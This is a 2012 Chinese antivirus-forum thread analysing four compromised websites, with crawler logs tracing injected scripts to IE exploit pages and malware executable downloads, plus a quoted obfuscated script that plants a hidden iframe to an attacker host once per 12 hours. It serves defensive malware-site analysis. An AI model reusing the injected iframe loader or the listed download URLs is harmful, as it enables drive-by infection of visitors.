瑞星卡卡安全论坛技术交流区恶意网站交流每日网马播报 瑞星网站每日安全播报(2012年4月9日)

1   1  /  1  页   跳转

瑞星网站每日安全播报(2012年4月9日)

瑞星网站每日安全播报(2012年4月9日)



引用:
网址均来自瑞星每日安全播报,我们详细分析其中所挂恶意网址,对于已失效的恶意网址就不再分析。



引用:
注:以下分析出的恶意网址均包含有真实网马下载地址,请勿直接下载并运行,以免系统中招。



引用:



1.  http://www.5igo.com.cn/(我爱购)
2.  http://www.2nvx.com/(爱女性网 )
3.  http://www.8368piao.com/(8368票务)
4.  http://www.weixiuwang.com/(中国维修网)




用户系统信息:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.802.30 Safari/535.1 SE 2.X MetaSr 1.0
分享到:
gototop
 

http://www.5igo.com.cn/(我爱购)

Log generated by networkedition use mdecoder 0.67
[root]http://www.5igo.com.cn/ie.html(Exploit.IEAurora.a)
    [virus]http://www.5igo.com.cn/tse.exe
gototop
 

http://www.2nvx.com/(爱女性网 )

Log generated by networkedition use mdecoder 0.67
[root]http://www.2nvx.com/mop.html
[virus]http://www.2nvx.com/y.exe
gototop
 

http://www.8368piao.com/(8368票务)

Log generated by networkedition use mdecoder 0.67
[root]http://www.8368piao.com/(五月天南京演唱会订票 五月天南京诺亚方舟  8368票务)
    [script]http://www.8368piao.com/seldate.js
    [script]http://www.8368piao.com/objectSwap.js
    [flash]http://www.8368piao.com/images/sfcimg.swf
    [script]http://chat32.live800.com/live800/chatClient/floatButton.js?jid=7615727654&companyID=122742&configID=4243&codeType=custom
        [script]http://st8.live800.com/live800/chatClient/floatButtonStatic.js
    [script]http://chat32.live800.com/live800/chatClient/monitor.js?jid=7615727654&companyID=122742&configID=4227&codeType=custom
    [script]http://www.8368piao.com/hm.baidu.com/h.js?b167c766d0132cadd1b0a70abfb4c0bc
    [script]http://jhlw.m18.us/b.js?google=4x053
[script]http://jhlw.m18.us/g/hpay.htm
    [exp]http://jhlw.m18.us/g/6.htm(Exploit.Ie0dayCVE0806.a)
        [script]http://jhlw.m18.us/g/ie.jpg
        [script]http://jhlw.m18.us/g/iee.jpg
[virus]http://jhlw.m18.us/o/xz.exe
    [iframe]http://jhlw.m18.us/g/medi.htm
    [iframe]http://jhlw.m18.us/g/7.htm
        [script]http://jhlw.m18.us/g/ie.jpg
        [script]http://jhlw.m18.us/g/iee.jpg
        [script]http://jhlw.m18.us/g/ieee.jpg
gototop
 

http://www.weixiuwang.com/(中国维修网)

Log generated by networkedition use mdecoder 0.67
[root]http://www.weixiuwang.com/aboutus/(关于中维--中国维修网--中国最大的维修网站--中国维修网)
    [script]http://eax.UglyAs.com/b.js?google=2x273
[script]http://jjd.ns02.us/a/jday.htm
    [exp]http://jjd.ns02.us/a/6.htm(Exploit.Ie0dayCVE0806.a)
        [script]http://jjd.ns02.us/a/ie.jpg
        [script]http://jjd.ns02.us/a/iee.jpg
[virus]http://jjd.ns02.us/o/yd.exe
    [iframe]http://jjd.ns02.us/a/medi.htm
    [iframe]http://jjd.ns02.us/a/7.htm
        [script]http://jjd.ns02.us/a/ie.jpg
        [script]http://jjd.ns02.us/a/iee.jpg
        [script]http://jjd.ns02.us/a/ieee.jpg
[script]http://fcp.UglyAs.com/b.js?google=3x222
    [script]http://feq.UglyAs.com/b.js?google=4x091
gototop
 

问题

xxx.ns02.us肯定是个有问题的网站。
在我这边利用Mdecoder无法获得http://jjd.ns02.us/a/jday.htm这类的网页。
经过分析,这类的网页通常是由http://eax.UglyAs.com/b.js?google=2x273这类的js引入的。
想问的是,在什么情况下可以获得jday.htm?是否与cookie还有关系?
谢谢。
最后编辑networkedition 最后编辑于 2012-04-10 09:11:59
gototop
 

回复 6F whatisright 的帖子



引用:
function baiduuu(){
var Then = new Date()
Then.setTime(Then.getTime() + 12*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookvie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{
var visa="yl39";
var fire="<ifra"+"me sr";
document.cookie = "Cookvie1=yous;expires="+ Then.toGMTString()
document.write("");
document.write(fire+"c=http:\/\/jhlw.m18.us\/g\/hpay.htm wid"+"th=100 hei"+"ght=0><\/ifr"+"ame>");
document.write("
");
}
}baiduuu();


这段js,判断用户在12小时内是否访问过,访问过不弹,没有访问过则弹!
gototop
 

回复 7F jzking121 的帖子

非常感谢!!!
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT